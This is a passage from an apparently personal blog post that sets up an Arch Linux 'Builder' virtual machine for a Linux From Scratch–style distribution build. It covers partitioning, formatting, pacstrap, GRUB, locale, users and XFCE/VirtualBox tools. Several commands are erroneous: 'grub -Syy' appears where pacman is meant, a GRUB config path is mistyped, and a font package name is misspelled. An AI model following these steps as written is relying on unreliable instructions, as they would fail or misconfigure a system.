Units: sectors of 1 * 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xdcef6fd

Device    Boot     Start       End  Sectors Size Id Type
/dev/sda1           2048  20973567 20971520  10G 83 Linux
/dev/sda2       20973568  41943039 20969472  10G 83 Linux

Then we format each partition.

target# mkfs.ext4 /dev/sda1
target# mkfs.ext4 /dev/sda2

Shutdown

target# shutdown -h -P now

Setup Builder

I will divide the process into three sections: prepare, install, builder. Each phase has it’s own purpose and identified by the name before the prompt.

I don’t create user other than lfs. This user is comply with LFS guide and would be the only user in system (other than root).

Actually, this is not much different to typical Arch Linux installation.

Prepare Phase

Prepare environment before doing installation.

US keymap is OK for me so nothing to change.

Make sure network is up and we can ping to internet.

prepare# ping archlinux.org

Update the system clock. Synchronize with NTP to ensure system clock is accurate.

prepare# timedatectl set-ntp true
prepare# timedatectl status

Part the dist, make following partitions

target# fdisk -l /dev/sda
Disk /dev/sda: 8GiB, 8589934592 bytes, 16777216 sectors
Units: sectors of 1 * 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x99be88fc

Device    Boot     Start       End  Sectors Size Id Type
/dev/sda1           2048   8390655  8388608  4G 83 Linux
/dev/sda2        8390656  10487807  2097152  1G 82 Linux swap / Solaris
/dev/sda3       10487808  16777215  6289400  3G 83 Linux

and format them

prepare# mkfs.ext4 /dev/sda1
prepare# mkfs.ext4 /dev/sda3
prepare# mkswap /dev/sda2
prepare# swapon /dev/sda2

mount the file systems.

prepare# mount /dev/sda1 /mnt
prepare# mkdir /mnt/tools
prepare# mkdir /mnt/sources
prepare# mount /dev/sda3 /mnt/tools

Install Phase

Select mirrors. All packages downloaded from mirrors so we need to make sure selecting correcting server. Nearby servers are preferred. Open /etc/pacman.d/mirrorlist and start rearranging.

Strap minimum installation

install# pacstrap /mnt base

generate fstab with current condition

install# genfstab -U /mnt >> /mnt/etc/fstab

then chroot

install# arch-chroot /mnt

Set the timezone. Here we also generate /etc/adjtime.

install(chroot)# ln -s /usr/share/zoneinfo/Asia/Jakarta /etc/localtime

Uncomment en-US.UTF-8 UTF-8 and other needed localization in /etc/locale.gen. Then generate them with.

install(chroot)# locale-gen

Change hostname and hosts.

install(chroot)# echo "Builder" > /etc/hostname
install(chroot)# echo "127.0.0.1    builder.localdomain   builder" >> /etc/hosts

creating new initramfs is usually not required. However I jsut want to make sure.

install(chroot)# mkinitcpio -p linux

Change root password.

install(chroot)# passwd

Create new username lfs for development only.

groupadd lfs
useradd -m -g lfs -k /dev/null -s /bin/bash lfs
passwd lfs

Update repository

install(chroot)# grub -Syy
install(chroot)# grub -S sudo

Install bootloader. I choose GRUB. (see this)

install(chroot)# pacman -S grub-pc
install(chroot)# grub-install --target=i386-pc /dev/sda
install(chroot)# grub-mkconfig -o /boot/grub/grub/cfg

Enable networking services.

install(chroot)# systemctl enable dhcpcd
install(chroot)# systemctl start dhcpcd

Reboot, make sure our base system is installed and ready to use.

install(chroot)# reboot

Builder Phase

Install linux header. This is important for building DKMS modules. We also need base-devel for building process so it’s a crucial component.

builder# pacman -S net-tools pkgfile base-devel

Leveraging CLI to do all stuffs is interesting. However I need to produce script and stuffs for development process thus I install GUI.

builder# pacman -S xf86-video-vesa   # let test X window system when we don't have Virtualbox guest addition installed yet
builder# pacman -S alsa-utils
builder# pacman -S xorg-server xorg-server-utils xorg-xinit
builder# pacman -S ttf-dejavu ttf-droid ddf-inconsolata
builder# pacman -S terminus-font
builder# pacman -S xorg-twm xorg-xclock xterm
builder# pacman -S xfce xfce4-goodies

Next create virtualbox modules so we can interact with Builder from host system

builder# pacman -S virtualbox-guest-utils

builder# nano /etc/modules-load.d/virtualbox.conf
	vboxguest
	vboxsf
	vboxvideo

builder# systemctl enable vboxservice.service

Install and configure some tools

builder# pacman -S git
builder# pacman -S python

The post DracOS Environment – My Build Lab appeared first on Xathrya.ID.